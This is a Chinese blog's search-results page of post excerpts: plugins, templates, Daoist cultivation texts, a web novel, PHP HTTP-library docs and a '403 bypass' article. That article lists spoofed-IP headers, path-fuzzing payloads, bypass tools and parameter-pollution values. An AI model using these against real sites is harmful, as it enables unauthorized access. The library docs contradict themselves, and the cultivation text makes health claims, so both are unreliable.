找到
295
篇与
易航
相关的结果
- 第 18 页
-
Typecho访问日志插件VisitorLogger 插件介绍 VisitorLogger能够记录每一个访客的IP、访问路由、以及访问时间,同时会自动查询访客所在的地理位置;其次VisitorLogger能够快速统计自定义时间段内的访问情况,包括各个国家的访问统计,各个省份的访问统计以及各个路由的访问情况,更多的功能持续开发中。VisitorLogger为了避免卡顿或者获取失败,查询访客地理位置时依赖于本地集成数据库,不调用任何第三方API接口。同时提供了灵活的自定义时间段统计功能,轻松查看历史访问记录。 安装教程 下载后将压缩包解压到 /usr/plugins 目录 文件夹名改为VisitorLogger 登录管理后台,激活插件即可食用 截图展示 图片 图片 插件下载 隐藏内容,请前往内页查看详情
-
20个超好看又开源的落地页/首页模板(附源码) 分享 20 个超好看的落地页/首页模板。 模板预览 nefa 图片 trippi 图片 tailwind-landing-page-template 图片 vivid-landing-template 图片 shadcn-landing-page 图片 open-react-template 图片 skilline-landing-page 图片 template-landing-page 图片 SaaS-Boilerplate 图片 nextly-template 图片 fresh 图片 landing 图片 nutritrack 图片 mylandingpage 图片 React-Landing-Page-Template 图片 landy-react-template 图片 landing-template-nextui 图片 next-saas-starter 图片 daisyui-nextjs-landing-page 图片 react-landing-page-template-2021 图片 源码下载 隐藏内容,请前往内页查看详情
-
一键将网页打包成很小的桌面 App,30.1K Star,更小,更轻量 大家好,我是易航 今天给大家推荐的开源项目是:Pake,它可以将网页打包成桌面应用,非常适合想把网页应用“本地化”的场景!我们从以下几个方面简单介绍一下这个项目,方便你快速了解。 图片 Pake软件简介 Pake 的主要功能是通过 Webview 将网页打包成本地桌面应用。这意味着你可以把常用的网页,比如 Baidu、小红书 或者自定义的 Web 应用,做成独立的桌面应用程序,免去了打开浏览器标签页的麻烦。它支持 Windows、macOS 和 Linux,覆盖面广,适用性强。 项目地址: 隐藏内容,请前往内页查看详情 Pake核心特征 🎐 相比传统的 Electron 套壳打包,要小将近 20 倍,5M 上下。 🚀 Pake 的底层使用的 Rust Tauri 框架,性能体验较 JS 框架要轻快不少,内存小很多。 📦 不是单纯打包,实现了快捷键的透传、沉浸式的窗口、拖动、样式改写、去广告、产品的极简风格定制。 👻 只是一个很简单的小玩具,用 Tauri 替代之前套壳网页打包的老思路,其实 PWA 也很好。 Pake安装使用 Pake针对不同用户给出了不同的安装使用方案。 1.小白用户 Pake已经把常见的网站已经打包好了,直接下载使用即可。预打包的网站有 微信读书 Twitter ChatGPT Poe YouTube LiZhi 小红书 无vpn用户,可以从123网盘下载:隐藏内容,请前往内页查看详情 图片 2.开发用户 Pake提供了 「命令行一键打包」功能,对 Mac 比较友好,Windows / Linux 需折腾下 环境配置。 图片 同时,Pake还提供了命令行工具,**可以更快捷方便地一键自定义打你需要的包** # 使用 npm 进行安装 npm install -g pake-cli # 命令使用 pake url [OPTIONS]... # 随便玩玩,首次由于安装环境会有些慢,后面就快了 pake https://weekly.tw93.fun --name Weekly --hide-title-bar3.折腾用户 假如你前端和 Rust 都会,那可试试下面的 「定制开发」,可深度二次开发定制你的功能。 开始前请确保电脑已经安装了 Rust >=1.63 和 Node >=16 如 16.18.1 的环境,此外需参考 Tauri 文档 快速配置好环境才可以开始使用,假如你太不懂,使用上面的命令行打包会更加合适。 # 安装依赖 npm i # 本地开发[右键可打开调试模式] npm run dev # 打包应用 npm run build写在最后 Pake 通过高效、简洁的方式将网页打包为桌面应用,适合个人和开发者的多种需求。它的轻量化、跨平台支持、灵活配置和性能优势让它成为了构建网页桌面应用的理想工具。
-
元神修练法 目录 一、《道德经》与元神修炼 二、慧剑修持(元神修为) 三、识神是电,元神是光,心是真我,打坐松静定的大解密 识神与元神 1.识神 2.元神 出阴神与出阳神 关于明心见性,识神和元神 人体中元神与识神的区别 阴神,阳神,元神,玉神,圣神-五神简论 传统修炼最高境界之元神论 请出自己的元神 道家修炼说:识神死,元神生。 神修丹法 南师怀瑾:道家出阴神、出阳神的佛学原理! 元神出窍与灵魂构造 元神出壳和识神出壳的界定 一、《道德经》与元神修炼 《道德经》中,有修炼元神方法、练功景象以及对本源的描述。如: 谷神不死、是谓玄牝。玄牝之门、是谓天地根。绵绵若存、用之不勤。 载营魄抱一、能无离乎、专气致柔、能如婴儿乎。 视之不见名曰夷。听之不闻名曰希。搏之不得名曰微。此三者不可致诘、故混而为一。其上不皦、其下不昧。绳绳不可名、复归于无物。是谓无状之状、无物之象、是谓惚恍。迎之不见其首、随之不见其后。 致虚极、守静笃。 道之为物、惟恍惟惚。惚兮恍兮、其中有象。恍兮惚兮、其中有物。 有物混成、先天地生。寂兮寥兮、独立不改、周行而不殆、可以为天下母。吾不知其名、字之曰道、强为之名曰大。 老子时代,“谷神”指元神(根本神)。老子把本源叫做“道”,也叫“大”。 老子强调:“伪道养形,真道养神;真神通道,能亡能存。”此处的“养神”就是指要修养元神,而不是肉体“养形”。养形肉体,乃舍本逐末。 后续章节 隐藏内容,请前往内页查看详情
-
玄衍决全篇(练气 筑基 金丹) 功法简介 《玄衍诀》一书,内含一部古今修真功法内容。将古之修炼思路,以现代青年容易理解的词汇和内容,加以诠释和运用。采取现代修真体系,实旨却是延续古修思路,来完成修者以一介凡人,向一名仙人实现自我进化的目的。 《玄衍诀》炼气篇,为整部修真功法的第一篇内容。本篇主旨,为修者将进入现代修真界,奠定三元基础。 炼气篇正文 精气神三元简释 一个普通凡人,每天所面对的生活,从早到晚对身体本元的消耗,是非常巨大的。而具体到每个人身上,精气神三元都是有限的。 所以,要修行,先补元。 补元,就要先正确的认识精、气、神,三元。俗称,人体三宝。 《庄子》一书有云:人之生,气之聚也。 人之所以生而活着,是因为气的相聚。身体之所以不是尸体,正是因为有气充斥在其中。此为,气之本辞。 一个人有声有色的活着,光有气也是不行的。否则,便是个活死人,现代称之为植物人。所以,人活着,还要有神。神在这里可以简单的理解为灵魂,灵魂主宰肉体,通过气相连接。此为,神之本辞。 有了形体,有了气,又有了神。基本,就可以称为一个活人了。但是这个活人是强壮,还是虚弱。是健康,还是疾病。这就要看,这个人的精了。如果一个人容光焕发、勃勃生机,这个人的精神就是饱满的。所以精的盈亏,决定神的壮虚。此为,精之本辞。 上面是精气神三元的简单解释,接下来即是具体的修炼方法。 一、炼气一阶 补元 此阶段,为炼气前期第一阶段。主要,是为了修补本身所泄漏的本元。 补元: 此阶段不需要特定的姿势,随时随地都可以进行。首先是神性的净化,要做到少思少想。一切不必要的、杂乱的想法,要尽量做到不生。没有必须要做的事,可以闭目以养神。 久久行之,元神自明。神壮了,会自行带动精元的积累。元精充足了,元气也就渐渐滋生了。 二、炼气二阶 养元 养元阶段,首先得在补元的基础上来做。有修真者丹药的修士,可以丹药辅助。没有丹药的,也可靠自身慢慢的累积。 养元:春日,早晨六点。夏日,早晨五点。秋日,早晨六点。冬日,早晨七点。择僻静处,披衣静坐。闭目,还神以昆仑。平息,静气以中庭。稳坐,固精以北冥。着轻意,散部全身各处,温养内元蕴蕴不动。此阶段行持至内火炎炎欲然,即可进入下一阶段。须注意,不可用意太强,否则易进入虚火假境。意念轻重,当若有若无,绵绵若存。 三、炼气三阶 修元 此阶段,以平衡体内阴阳为主。目的是为了稳固内元,为下一步动火做准备。 修元:早修,要选在太阳出来之前的最后一刻。以双手手掌缓柔搓面部,至耳根,最后到整个头部。然后手脚交互伸缩五次,最后将一夜之沉屙阴火喝出。晚修,要选在太阳落下之前的最后一刻。静坐,放松身心。徐徐咽气,导引一昼之生发阳火,入体蓄积双肾。收聚双肾之火,起外阳,以聚合。 此阶段修炼至双肾汤煎,即可进入下一阶段。 四、炼气四阶 引气 此阶段,为炼气中期,第一阶段。当体内元阳之气充足,即可引气归炉,将元阳炼化为真阳。 引气:当两肾汤煎,元阳之气充足时。当择静室盘坐,心平气归于和。双肾默朝于心,引双肾元阳之气,上合中宫心所,使元阳之气与心之正阳之气自然相合。这个阶段,不可用意,一切使之自然。待二气相合,真水自生。真水生,下降于北冥水府,封炉,进入下一阶段。 五、炼气五阶 化气 此阶段,起承上启下的作用。炼气中期三阶,实际为一个大步骤分化而出。所以,中期三阶段,没有时间之分。一切,连贯而行。得一,进三。失一,失三。 化气:当真水化药归炉,当起武火锻烧。加强意念,默注下丹田,不可丝毫松懈。整个过程,不可过于急躁,亦不可过于轻浮。成,不可有欣喜之念。败,亦不可有失落之意。 一切使归自然,待火候成熟,下田拳大真水气团,骤然化为珠般真阳之气,即可进入下一阶段。 六、炼气六阶 导气 此阶段,承接前阶段。待真阳产生,当引导其后透三关,通任督双脉,以完成小周天运行。 导气:以平稳的意念,默注真阳。缓慢平和的导引它,下行谷道会阴,此时应紧闭会阴,暗搓谷道,以防真阳化凡走失于下门。待真阳经过会阴,透过尾闾关,进入督脉上行。此时,要收回导引之意,改为默默关注即可。使真阳自然上升,通行于督脉,再过夹脊、玉枕二关,升入昆仑内院之顶,然后再行下落,循任脉经咽喉十二重楼,过中宫土釜,落归下田。 自此炼气中期,三段完成,即可进入炼气后期的修行。 七、炼气七阶 境之身 此阶段为炼气后期第一阶段,为进阶三境第一境。炼气后期三境,乃是由凡入灵的准备阶段。亦是,后天进入先天的承启部分。在炼气后期,大部分的行功,将由形体逐渐转为心神内修。 境之身:小周天打通之后,真阳循周天反复运行,在自然之中会渐渐的将周天双脉拓宽并润及周边。身体以前潜藏的,或者患有的疾病,都会在这一阶段逐渐却除。脉络之髓,已逐渐化为气态,为将来的脱胎换骨慢慢的做准备。这一切,都是自然进行的。而我们自己在这一阶段,要做的只有平心静气的保持真阳的周天运行就可以了。 八、炼气八阶 境之意 此阶段,修为的提升或者稳固,主要表现在意念的提纯上。 境之意:在保持周天运行的同时,意念在这个阶段,应该逐渐化为意志。意念是非常容易散的,要想让它不散,就需要不停的提纯它,只有意纯了,才不容易被外境所影响。所以,纯意又叫真意,真意为志,才能锁灵不散。 九、炼气九阶 境之心 此阶段,修为的提升,主要表现在心上。这也是,入仙入魔的关键一步。也是整个修炼之路,最重要的一环。 境之心:周天运行,已趋自然。 心境的稳固,除了坚定的意志,还有对于道的理解和应合。所谓道者,并不是那种打打杀杀、斗天斗地的自我陶醉。这里,真正的修真,应该要明白,什么是自我,什么是本性。 整天想着打打杀杀,想着自己如何牛气冲天,觉得自己多么天命不凡,觉得自己要欺天一筹,要耍地三分。这类型的,就叫自我中心。这类修士,由于心并不能合道,所以终不会有所成。 本性来自天道,是上天由善良的道性中,分离出的一缕,赋予人类的。这缕道性灵光,通过我们的修炼和对于道善的追求,而修炼苏醒。这,就是元神。 元神合本心,来成就道性。所以,本心之善,需要合元神之善。之后,成就道性的本心,才叫道心。 道生万物,万物皆为道之子。所以,道对待万物是一视同仁的,不会有任何区别心。所以本心,也应该是包容万物的,对万物一视同仁的。这样,本心才能合道。 打打杀杀、争强好胜,都是自我心对外界万物的区别对待,而产生的。万物皆是之道之子,道为万物母。哪有母亲,不爱惜自己孩子的。即便是某个孩子有了错,道作为母亲,也不会对他有什么伤害心。 最多,就是加以惩罚,目的却是令其改正。 所以,道心也是一样,不能因为别人过错,而去故意伤害他,而是要想办法令其改过向善。 只有做到了,这一点,修真之路才算踏上了正途。 后续篇章 隐藏内容,请前往内页查看详情 附赠 修真新手须知 修真词典百科 修行成就表
-
网址403禁止访问绕过研究 本文只用于安全研究,切勿非法使用,所承担的一切后果均与本人无关! 更改请求方法 GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK 更换协议版本 如果使用 HTTP/1.1,请尝试使用 1.0,或者测试看它是否支持 2.0 更换user-agent 有的应用为了区分爬虫或者正常请求,会验证user-agent,看是否浏览器发出的请求 请求覆盖绕过 通过 X-Original-URL 和 X-Rewrite-URL 请求表头覆盖url中的路径,尝试绕过对更高级别的缓存和web服务器的限制 修改前: Request GET /test HTTP/1.1 Response HTTP/1.1 403 Forbidden 修改后: Reqeust GET / HTTP/1.1 X-Original-URL: /test Response HTTP/1.1 200 OKReferer表头饶过 通过更改Referer来绕过不严谨的服务端验证 修改前: Request GET /test HTTP/1.1 Host: xxx Response HTTP/1.1 403 Forbidden 修改后: Reqeust GET / HTTP/1.1 Host: xxx ReFerer: https://xxx/test Response HTTP/1.1 200 OKHOST绕过 把HOST值修改为子域名或者IP来绕过 端口绕过 一般是运维的疏忽,开放两个端口,只有一个端口做了防护 利用nmap扫端口 HTTP头部绕过 X-Forwarded-For: 127.0.0.1 X-Forwarded: 127.0.0.1 Forwarded-For: 127.0.0.1 Forwarded: 127.0.0.1 X-Requested-With: 127.0.0.1 X-Forwarded-Proto: 127.0.0.1 X-Forwarded-Host: 127.0.0.1 X-remote-IP: 127.0.0.1 X-remote-addr: 127.0.0.1 True-Client-IP: 127.0.0.1 X-Client-IP: 127.0.0.1 Client-IP: 127.0.0.1 X-Real-IP: 127.0.0.1 Ali-CDN-Real-IP: 127.0.0.1 Cdn-Src-Ip: 127.0.0.1 Cdn-Real-Ip: 127.0.0.1 CF-Connecting-IP: 127.0.0.1 X-Cluster-Client-IP: 127.0.0.1 WL-Proxy-Client-IP: 127.0.0.1 Proxy-Client-IP: 127.0.0.1 Fastly-Client-Ip: 127.0.0.1 True-Client-Ip: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Host: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1Burp工具:https://github.com/TheKingOfDuck/burpFakeIP burpFakeIP还可以伪造IP,爆破模块 图片 目录扫描 御剑:https://github.com/maurosoria/dirsearch 目录扫描时,字典可以混合使用,目前来说御剑的字典还可以,也可以用其他人分享的字典,最重要的还是最后得自己整理下 路径模糊测试 使用特殊字符或包含 HTML 编码 还可尝试大小写绕过、系统特性绕过 ///phpmyadmin/// //wp-admin// /admin /admin/ /admin// //admin// /admin/* /admin/*/ /admin/. /admin/./ /./admin/./ /admin/./. /admin/./. /admin? /admin?? /admin??? /admin..;/ /admin/..;/ /%2f/admin /%2e/admin /admin%20/ /admin%09/ /%20admin%20/工具: https://github.com/iamj0ker/bypass-403 https://github.com/yunemse48/403bypasser https://github.com/carl1l/f403 #推荐,可以自己diy403,比如自己突然发现新的绕过方法,可以自己写在f403.yaml中 如果直接下载releases,需要同时f403.yaml 或者直接git下载,然后自己使用go编译 -a, --AddHeader strings:这个选项允许用户添加自定义的HTTP头到请求中。例如,如果你想要添加一个Cookie和一个Referer头,你可以这样使用:-a 'cookie:123,Referer:https://www.baidu.com'。 -b, --bypassip strings:这个选项用于添加一个IP地址到特定的HTTP头后面,比如X-Client-IP或X-Forwarded-For,以尝试绕过基于IP的访问限制。例如:-b 192.168.1.1,30.1.1.1。默认值通常是127.0.0.1,localhost。 -h, --help:这个选项会显示f403工具的帮助信息,包括所有可用的命令行选项和它们的用法。 -d, --postdata string:这个选项允许用户在发送POST请求时添加POST数据。你可以传递表单数据,例如:-d 'username=admin&password=123456',或者传递JSON数据:-d '{"username":"admin","password":"123456"}'。 -p, --proxy string:这个选项允许用户通过指定的代理服务器发送请求,支持HTTP和SOCKS5代理。例如:-p 'http://127.0.0.1:8080' 或 -p 'socks5://127.0.0.1:8080'。 -u, --url string:这个选项指定了目标URL,即你想要测试绕过403 Forbidden错误的网址。简单使用: ./f403 -u http://www.baidu.com/admin/全参数使用: ./f403 -u http://www.baidu.com/asdf/admin/ -p http://127.0.0.1:8080 -a 'cookie: 123,Referer: https://www.baidu.com' -d 'admin=1&p=1' -b 1.1.1.1图片 图片 图片 图片 图片 Burp工具:403 Bypasser 图片 其他方法 主要是利用API的特性或者各种语言的特性 /v3/users_data/1234 --> 403 Forbidden /v1/users_data/1234 --> 200 OK V3提示403,但v1可能是废弃忘删除的,所以可以绕过 {“id”:111} --> 401 Unauthriozied {“id”:[111]} --> 200 OK {“id”:111} --> 401 Unauthriozied {“id”:{“id”:111}} --> 200 OK {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON 参数污染) user_id=ATTACKER_ID&user_id=VICTIM_ID (参数污染)
-
轻HTTP - 基于PHP的一款超灵活专业级HTTP轻量网络请求库 简介 轻HTTP请求库是一款专业级轻量的PHP HTTP客户端,用于发送各种HTTP请求。它支持GET、POST、HEAD、DELETE、PUT、PATCH等方法,可以轻松发送JSON、XML等格式的数据。 $client = new Client(); $response = $client->get('http://www.example.com'); echo $response; // 输出响应体该库的主要特性: 支持主流的HTTP方法:GET、POST、HEAD、DELETE、PUT、PATCH 等。可以发送各种请求,获取不同的响应。 支持URL参数、请求体、请求头、Cookie等设置。可以定制灵活的请求参数。 发送请求体支持JSON、XML、文本等格式。支持的请求数据类型丰富。 简单易用,代码量小巧轻量,使用方法灵活。接口简单明了,学习成本低。 基于PHP原生curl扩展,性能高效稳定。利用curl实现,性能优秀。 项目地址:https://gitee.com/yh-it/php-http-request 觉得本项目不错的话可以帮忙点一下星星Star哦 安装 通过 Composer 安装 1. 安装 Composer curl -sS https://getcomposer.org/installer | php2. 运行安装命令 composer require network/http:dev-master3. 启用 Composer 自动加载 require 'vendor/autoload.php';启用后,可直接使用 $client = new Client(); 基本使用 use network\http\Client; $client = new Client(); $client->param('name', '易航'); // 设置请求参数 $client->header('User-Agent', 'Mozilla/5.0'); // 设置请求头 $response = $client->get('http://www.bri6.cn'); // 发送GET请求 echo $response; // 输出响应体请求参数用于构造请求URL的参数,请求头用于定制客户端信息,发起GET请求后获取响应,并输出响应体。 实例化 Client $client = new network\http\Client();param 和 header 方法 可以调用 param() 方法添加URL参数, header() 方法添加请求头。它们既支持单个设置,也支持批量设置: // 单个设置 $client->param('name', '易航'); $client->header('User-Agent', 'Mozilla/5.0'); // 批量设置 $client->param(['name' => '易航', 'age' => 25]); $client->header(['User-Agent' => 'Mozilla/5.0', 'Content-Type' => 'application/json']);发送GET请求 $response = $client->get('http://bri6.cn'); $response = $client->send('http://www.bri6.cn','GET'); $response = $client->modth('GET')->send('http://www.bri6.cn'); $response = $client->url('http://www.bri6.cn')->send();可以传入请求头和查询参数: $response = $client->get('http://bri6.cn', ['name' => '易航'], ['Accept' => 'application/json']);发送POST请求 $response = $client->post('http://bri6.cn', ['name' => '易航']); 可以传入请求体、请求头: $response = $client->post('http://bri6.cn', ['name' => '易航'], ['Content-Type' => 'application/x-www-form-urlencoded']);其他请求方法 delete(): 发送DELETE请求 put(): 发送PUT请求 patch(): 发送PATCH请求 $response = $client->delete('http://www.bri6.cn'); $response = $client->put('http://www.bri6.cn', ['title' => 'Easy']); $response = $client->patch('http://www.bri6.cn', ['views' => 999]);send 方法 send 方法是该库中最为核心和灵活的一个方法,它可以接收三个参数,并可以对这三个参数的顺序进行混合传参。 传统方式 $client->send('http://www.bri6.cn', 'GET', ['name' => '易航']);方法和URL顺序交换 $client->send('GET', 'http://www.bri6.cn', ['name' => '易航']);URL和参数顺序交换 $client->send(['name' => '易航'], 'http://www.bri6.cn', 'GET');链式设置URL和方法,最后传入参数 $client->url('http://www.bri6.cn')->method('GET')->send(['name' => '易航']);链式设置参数,最后传入URL和方法 $client->param(['name' => '易航'])->send('http://www.bri6.cn', 'GET');链式设置方法,最后传入URL和参数 $client->method('GET')->send('http://www.bri6.cn', ['name' => '易航']);send 方法会自动识别第一个参数是 URL、方法还是参数。同时并不强制要求三个参数全部传入,可以只传入一个或两个参数,并可以通过链式调用的方式进行参数设置。 所以根据不同的参数顺序和参数类型,您可以选择一种简洁清晰和习惯的方式进行请求发送。send 方法力求代码的灵活性,同时也不会造成使用上的困扰。 send 方法核心代码: class Client { public function send($param1 = null, $param2 = null, $param3 = null) { $info = $this->_initSend($param1, $param2, $param3); if (!empty($info->method)) $this->method($info->method); if (!empty($info->url)) $this->url($info->url); if ((!empty($info->params)) && is_array($info->params)) $this->param($info->params); $this->_initialize(); $response_body = curl_exec($this->ch); $http_code = curl_getinfo($this->ch, CURLINFO_HTTP_CODE); $header_size = curl_getinfo($this->ch, CURLINFO_HEADER_SIZE); curl_close($this->ch); $response = $this->response = new Response($http_code, $header_size, $response_body); return $response; } private function _initSend($param1, $param2, $param3) { $url = $this->_isUrl($param1) ?: $this->_isUrl($param2) ?: $this->_isUrl($param3); $method = $this->_isMethod($param1) ?: $this->_isMethod($param2) ?: $this->_isMethod($param3); $params = is_array($param1) ?: is_array($param2) ?: is_array($param3); return (object) [ 'url' => $url, 'method' => $method, 'params' => $params ]; } }所以根据不同的参数顺序和参数类型,您可以选择一种简洁清晰和习惯的方式进行请求发送。send 方法力求代码的灵活性,同时也不会造成使用上的困扰。 助手函数 轻HTTP请求库提供以下助手函数: post() 发送POST请求。用法: network\http\post($url, $params, $headers, $options) $url: 请求URL $params: 携带的参数,可以是数组或false $headers: 自定义请求头,数组格式 $options: 配置信息,数组格式 返回response对象。 示例: $response = network\http\post('http://www.bri6.cn', ['name' => '易航']);get() 发送GET请求。用法: network\http\get($url, $params, $headers, $options)参数与post()方法相同。 示例: $response = network\http\get('http://www.bri6.cn', ['category' => 'technology']);delete() 发送DELETE请求。用法: network\http\delete($url, $params, $headers, $options)参数与post()方法相同。 示例: $response = network\http\delete('http://www.bri6.cn'); put() 发送PUT请求。用法: network\http\put($url, $params, $headers, $options)参数与post()方法相同。 示例: $response = network\http\put('http://www.bri6.cn', ['title' => 'Easy']);patch() 发送PATCH请求。用法: network\http\patch($url, $params, $headers, $options)参数与post()方法相同。 示例: $response = network\http\patch('http://www.bri6.cn', ['views' => 999]); 获取响应信息 使用响应对象获取响应信息: $response = $client->get('http://bri6.cn');可以从响应对象中获取以下信息: $response->code() :获取响应状态码 示例: $code = $response->code(); // 200 $response->header('name') : 获取指定响应头 示例: $content_type = $response->header('Content-Type'); // application/json $response->headers(): 以数组形式获取所有响应头 示例: $headers = $response->headers(); /* [ 'Content-Type' => 'application/json', 'X-Powered-By' => 'PHP/7.2.10' ] */ $response->body(): 获取原始响应体字符串 示例: $body = $response->body(); // '{"name": "易航"}' $response->toObject(): 如果响应是JSON,转换为对象 示例: $data = $response->toObject(); // stdClass Object // ( // [name] => 易航 // ) $response->toArray(): 如果响应是JSON,转换为数组 示例: $data = $response->toArray(); // ['name' => '易航']显示响应体 可以直接输出响应体: echo $response;或者: echo $response->body();这将直接输出响应的原始字符串内容。 示例: $response = $client->get('http://www.bri6.cn'); echo $response; // {"id": 25, "title": "Easy PHP", "content": "Some content here", "views": 999} echo $response->body(); // {"id": 25, "title": "Easy PHP", "content": "Some content here", "views": 999}当您直接输出 $response 对象时,PHP会自动调用 __toString() 魔术方法,并返回响应体字符串。 如果响应的内容类型是JSON,调用 toObject() 或 toArray() 方法转换后再输出也是很好的选择: $data = $response->toArray(); print_r($data); /* [ "id" => 25, "title" => "Easy PHP", "content" => "Some content here", "views" => 999 ] */ 错误与异常 请求过程中发生的curl错误或解析响应时发生的错误将抛出异常,使用try/catch进行捕获。 示例: try { $response = $client->get('http://www.bri6.cn'); } catch (Exception $e) { echo $e->getMessage(); // CURLOPT_URL: Failure (2) 'The requested URL returned error: 404 NOT FOUND' }轻HTTP请求库使用了GuzzleHttp作为底层HTTP客户端,所以会抛出GuzzleHttp相关的异常,常见的有: ConnectionException: 连接异常 RequestException: 请求异常 ClientException: 客户端错误(4xx响应) BadResponseException: 服务器错误(5xx响应) TooManyRedirectsException: 重定向过多异常 所有的异常都继承自Exception,可以使用try/catch捕获。 当解析响应JSON数据时发生错误,也会抛出异常: try { $data = $response->toObject(); } catch (InvalidJsonException $e) { echo $e->getMessage(); // Syntax error, malformed JSON }InvalidJsonException异常是由轻HTTP请求库自己抛出的,用于表明响应JSON数据格式错误。 错误和异常处理是开发一个健全的应用很重要的一环,希望这个错误与异常页面能帮助您更好地处理轻HTTP请求库可能产生的各种异常情况。如果您有任何疑问,请告知我。 其他 另外,如果需要对请求库进行定制开发,可以继承Client类并重写send()方法: namespace network\http; class CustomClient extends Client { public function send($url, $params, $headers) { // 定制发送请求的逻辑 // 调用parent::send($url, $params, $headers)发送请求 } }然后通过 new CustomClient() 使用定制的客户端。 希望这个HTTP客户端库和使用文档能为您提供帮助!如果有任何问题请提Issue或Pull Request。 我会持续更新文档,完整记录轻HTTP请求库的所有功能和用法。如果文档的任何部分不够详尽,请提Issue告知我。 希望这个简洁实用的轻HTTP请求库和配套文档能为广大PHP开发者提供更多便捷!
-
长生从猎户开始 第一集 美女半夜开门就往男子床边走去,接着拉开被褥直接钻了进来 第二集 男子半夜起来骗媳妇说上厕所,接着就打开游戏面板 第三集 男人只是拿出一块肉,他就把人领到自己老婆屋 第四集 男人老婆想吃五花肉,可每次进山打猎,他都是看见野猪就绕道 第五集 男子说他功法大成,然而他老婆根本不信 第六集 这是古代最挣钱的生意,一群人都排队求老板把自己手脚打断 第七集 女人往她碗里加入不知名粉末,接着晚上就有男人偷偷来到她的门前 第八集 男人骑着老虎来到深山,可它正走着突然止步 第九集 美女跟男人刚刚睡着,这时窗户纸就被人戳了一个洞 第十集 男人带着刚认识的人来到青楼,一坐下就开始吧啦吧啦的消费 第11集 男人把他按在地上,接着拿出匕首 第12集 男人正在喝着小酒值夜班,突然被一股无形的力量拽到空中 第13集 经常去河里捞尸的朋友都知道,捞尸前需先点三炷香敬河神 第14集 美女带着男人来到小巷子,随后蹲在一具傀儡身下 第15集 男人游到黝黑的水底,接着熟练的找到失踪的尸体 第16集 男人坐着豪华马车衣锦还乡,昔日的大哥投来羡慕的眼光 第17集 晋升八品 第18集 这个男人究竟有多嚣张,他上场打擂台战 李元穿越到妖鬼蛰伏的武道世界,成了一名普通猎户。本是艰难求存的他,在有了娘子后,才发现金手指姗姗来迟。 星斗移位,沧海桑田,山河易变我不变。